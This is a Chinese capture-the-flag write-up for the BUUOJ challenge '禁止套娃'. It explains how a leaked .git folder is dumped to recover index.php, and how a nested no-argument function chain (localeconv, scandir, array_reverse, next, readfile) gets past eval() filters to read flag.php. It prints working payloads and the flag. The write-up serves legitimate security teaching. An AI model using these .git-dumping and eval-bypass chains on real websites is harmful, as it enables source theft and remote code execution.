当前位置: 首页 > news >正文

[GXYCTF2019]禁止套娃

BUUOJ Web《禁止套娃》详细解析:从 .git 泄露到无参数函数利用拿下 flag

一、题目分析(引导思路)

打开题目首页,页面上只有一句话:

flag在哪里呢?

这类页面的特点是:前端几乎没有可操作功能,看起来像“什么都没有”。遇到这种题,第一反应不要急着猜漏洞,而是先做基础观察:

  1. 有没有隐藏参数
  2. 有没有源码泄露
  3. 有没有常见敏感文件可以直接访问

我先试了几个常见路径,结果发现这个地址可以访问:

/.git/HEAD

返回内容是:

ref: refs/heads/master

这一步已经很关键了。.git 目录本来不该暴露给 Web 访问,现在既然能读到 .git/HEAD,那就说明网站的 Git 仓库泄露了。对 CTF
题来说,这往往意味着:先恢复源码,再分析漏洞点。

———

二、思路引导(重点)

这题真正的入口,不在页面上,而在源码里。

我先用 git-dumper 把仓库恢复下来:

git-dumper http://fd34bcb2-1ed1-4fd6-b716-6535fb5741b4.node5.buuoj.cn:81/.git/ recovered_repo

恢复后发现核心文件只有一个 index.php,内容如下:

<?phpinclude"flag.php";echo"flag在哪里呢?<br>";if(isset($_GET['exp'])){if(!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i',$_GET['exp'])){if(';'===preg_replace('/[a-z,_]+\((?R)?\)/',NULL,$_GET['exp'])){if(!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i',$_GET['exp'])){@eval($_GET['exp']);}else{die("还差一点哦!");}}else{die("再好好想想!");}}else{die("还想读flag,臭弟弟!");}}?>

先把这段代码按语法读一遍

这段代码从上往下看,其实不难。

include"flag.php";

这句的意思是把 flag.php 包含进来执行。也就是说,flag.php 里的内容已经被加载到了当前页面里。

echo"flag在哪里呢?<br>";

这句只是往页面输出一句提示。

if(isset($_GET['exp'])){

这里说明题目的输入点是 GET 参数 exp。也就是访问时可以带上:

/?exp=xxxx

接下来就是三层过滤,全部通过后,最后才会执行:

@eval($_GET['exp']);

eval() 的作用是把传入的字符串当成 PHP 代码执行。
所以本题的核心就是:想办法构造一个能通过过滤的 exp。

第一层正则在拦什么

第一层是:

if(!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i',$_GET['exp']))

先解释一下语法:

  • preg_match():用正则表达式检查字符串里有没有匹配内容
  • /…/:正则的定界符
  • |:表示“或者”
  • i:表示忽略大小写

所以这条正则:

/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i

实际上就是在检查 exp 里有没有这些内容:

  • data://
  • filter://
  • php://
  • phar://

如果匹配到了,就会被拦下。

这一步主要是在防常见的协议包装器读取,比如很多人会习惯性地想用 php://filter 读源码,这里直接不给走。

第二层正则为什么最关键

真正的难点在第二层:

if(';'===preg_replace('/[a-z,_]+\((?R)?\)/',NULL,$_GET['exp']))

这一句乍一看很绕,但拆开就好懂了。

先说 preg_replace()。
它的作用不是“判断”,而是“替换”。也就是把匹配到正则的内容,替换成 NULL,这里可以理解成替换为空。

也就是说,这一句的意思其实是:

  1. 用正则去匹配 exp
  2. 把所有匹配到的部分删掉
  3. 看最后是不是只剩下一个分号 ;

关键在这个正则:

/[a-z,_]+\((?R)?\)/

这个正则可以拆成几部分看:

[a-z,_]+

表示匹配一个或多个小写字母、下划线、逗号。
在这题里,可以把它理解成“函数名的位置”。

\(

匹配左括号 (。

(?R)?

这是重点。(?R) 表示“递归匹配整个正则本身”,后面的 ? 表示“这个递归部分可以有,也可以没有”。

翻译成人话就是:
括号里面可以什么都没有,也可以再套一个一模一样结构的函数。

\)

匹配右括号 )。

所以整个正则表达式匹配的就是这种结构:

aaa() aaa(bbb()) aaa(bbb(ccc()))

也就是“函数调用套函数调用”。

然后再看这句:

';' === preg_replace(...)

意思是:如果把所有这种“函数嵌套结构”都删掉以后,整个字符串只剩下一个 ;,那就通过。

这就等于强行规定了 payload 的格式必须像这样:

func1(func2(func3()));

为什么很多常规写法不行?原因就在这里。

比如:

system('ls');

不行,因为里面有引号和字符串,删完函数结构后,不会只剩下 ;。

再比如:

readfile(flag.php);

也不行,因为 flag.php 不是函数调用结构。

这一层的效果,其实就是:只允许你写“函数套函数”,别的语法基本都不让过。

第三层正则在拦什么

第三层是:

if(!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i',$_GET['exp']))

这个就比较直接了,也是黑名单过滤。

正则含义是:只要 exp 里出现以下任意一个片段,就拦截:

  • et
  • na
  • info
  • dec
  • bin
  • hex
  • oct
  • pi
  • log

这里要注意,它拦的不是“完整函数名”,而是“字符串片段”。

比如:

phpinfo();

会被拦,因为里面有 info。

所以到这里,题目的限制就很清楚了:

  1. 入口是 exp
  2. 最后会进 eval()
  3. 不能用常见协议包装器
  4. payload 必须是纯“函数嵌套”结构
  5. 还不能出现若干黑名单关键字

那接下来思路就自然出来了:
既然不能直接写字符串,也不能直接写普通表达式,那就去找无参数函数,先构造出有用的字符串,再一步步拿到目标文件。

———

三、漏洞验证过程

1. 先确认 .git 泄露

访问:

http://fd34bcb2-1ed1-4fd6-b716-6535fb5741b4.node5.buuoj.cn:81/.git/HEAD

返回:

ref: refs/heads/master

说明 Git 仓库确实泄露,可以恢复源码。

2. 验证黑名单确实存在

输入:

phpinfo();

返回:

还差一点哦!

说明第三层正则确实在生效,info 被拦了。

3. 验证“必须是函数套函数”

输入:

system(ls);

返回:

再好好想想!

这里不是说 system 一定不能用,而是这个 payload 的结构不合法。
ls 不是函数调用,所以过不了第二层正则。

4. 用无参数函数先拿到当前目录

这里可以利用:

current(localeconv())

localeconv() 会返回一个数组,数组第一个值通常是 .。
再用 current() 取第一个元素,就得到了当前目录。

输入:

print_r(scandir(current(localeconv())));

返回:

Array ( [0] => . [1] => .. [2] => .git [3] => flag.php [4] => index.php )

这一步说明两件事:

  1. 代码执行已经打通了
  2. 当前目录下确实有 flag.php

5. 先看看反转后第一个文件是谁

输入:

show_source(current(array_reverse(scandir(current(localeconv())))));

返回的是 index.php 的源码。

这说明:

scandir('.')

得到的顺序是:

. … .git flag.php index.php

反转之后变成:

index.php flag.php .git … .

所以反转后第一个是 index.php,第二个就是 flag.php。

———

四、利用过程(拿flag过程)

最终 payload 是:

readfile(next(array_reverse(scandir(current(localeconv())))));

直接访问:

http://fd34bcb2-1ed1-4fd6-b716-6535fb5741b4.node5.buuoj.cn:81/?exp=readfile(next(array_reverse(scandir(current(localeconv())))));

这条链子的意思是:

  • localeconv() 返回数组
  • current(localeconv()) 取出 .
  • scandir(.) 列当前目录
  • array_reverse(…) 反转数组
  • next(…) 取反转后第二个元素
  • readfile(…) 读取这个文件

而反转后的第二个元素,正好就是 flag.php。

———

五、获取flag

访问最终 payload 后,页面回显:

<?php$flag="flag{601f38c7-d402-4d1d-be36-e65ab5809d08}";?>

所以本题 flag 为:

flag{601f38c7-d402-4d1d-be36-e65ab5809d08}

———

六、知识点总结(一定要写好)

这题主要考两个点:.git 源码泄露,以及受限条件下的 eval 代码执行。

.git 泄露的价值很大,因为很多题前端信息少,真正的漏洞点都藏在源码里。看到首页没东西的时候,先去看 .git、备份文件、临时
文件,往往比盲试 payload 更有效。

这题里的 eval 并不是“直接送命令执行”,因为它前面加了很多限制。最关键的是第二层正则,它不是单纯黑名单,而是在限制语法结
构:只允许“函数套函数”的写法存在。这个思路在 CTF 里很常见,出题人不是不让你执行,而是逼你换一种执行方式。

以后遇到类似题,可以这样判断:

  1. 先看源码里有没有 eval、assert、preg_replace 这类危险点
  2. 再看过滤是在拦“关键字”,还是在拦“语法结构”
  3. 如果不能写引号、数字、变量、普通参数,就要考虑无参数函数链
  4. 如果能拿到目录列表,就优先想办法从返回结果里“借字符串”,而不是手写文件名

这题最值得记住的一点不是某个函数名,而是这个思路:
当 payload 被限制得很死时,先别急着想“执行什么命令”,而是先想“我还能合法写出什么语法”。

http://www.jsqmd.com/news/674911/

相关文章:

  • PyTorch实战解析:nn.SmoothL1Loss在目标检测中的鲁棒回归应用
  • EXP-00106: 数据库链接口令无效
  • 告别卡顿!优化Windows 11 Miracast投屏体验,让小米手机投屏更流畅
  • Real-Anime-Z开源实践:基于Z-Image Turbo的LoRA训练数据集分析
  • 每日热门skill:OpenClaw 268k下载量的“记忆外挂“:self-improving-agent深度解析
  • 如何优雅地使用c语言编写爬虫
  • 51单片机型号数字暗藏玄机?STC89C51、C52、C54命名规则与存储空间全解析
  • nli-MiniLM2-L6-H768生产环境:与Elasticsearch结合实现语义检索重排序
  • egergergeeert惊艳效果:11张高细节服装纹理+发丝表现的插画作品
  • 拯救者工具箱:让你的联想笔记本性能翻倍的开源神器
  • 2026年靠谱的本溪旅游徒步游/本溪旅游亲子游亲子游排行榜 - 品牌宣传支持者
  • Phi-3.5-mini-instruct架构对比:与Llama3-8B在注意力机制与长文本处理差异
  • 在Replit上构建你的首个全栈应用:从零到部署的免费实践
  • 【二层和三层的区别】dis ospf peer和dis lldp nei int g x/x/x命令的区别?
  • 框架原理解析
  • 程序员鱼皮AI智能体项目学习体验分享|给Java学习者的真实参考
  • GraalVM Native Image内存优化实战手册(金融级低延迟场景验证版)
  • 手把手教你改造RuoYi-Vue,让它同时连接MySQL和TDengine 3.0
  • 从PS插件源码入手:手把手教你读懂并修改那个‘秋色效果’的JSX脚本
  • RMBG-2.0效果对比:与传统工具PK,毛发玻璃杯处理更精准
  • Z-Image-Turbo-辉夜巫女部署教程:Mac M系列芯片(Metal加速)运行兼容性实测
  • SQL学习下
  • C# 14 AOT部署Dify客户端:为什么90%的.NET团队还在用传统发布方式?
  • 2026年靠谱的实木办公家具/浙江办公家具/简约办公家具/现代办公家具长期合作厂家推荐 - 行业平台推荐
  • HY-Motion-1.0效果展示:真实感3D角色动画生成案例集
  • RMBase数据库数据整理
  • Source Han Serif CN:解决中文排版痛点的专业字体方案
  • C语言上机入门实例
  • 电力老师傅带你读懂IEC 60870-5-101规约:从帧格式到主站子站对话全解析
  • Python 中的 round() 函数不是严格的“四舍五入“,而是采用银行家舍入法(Bankers‘ Rounding)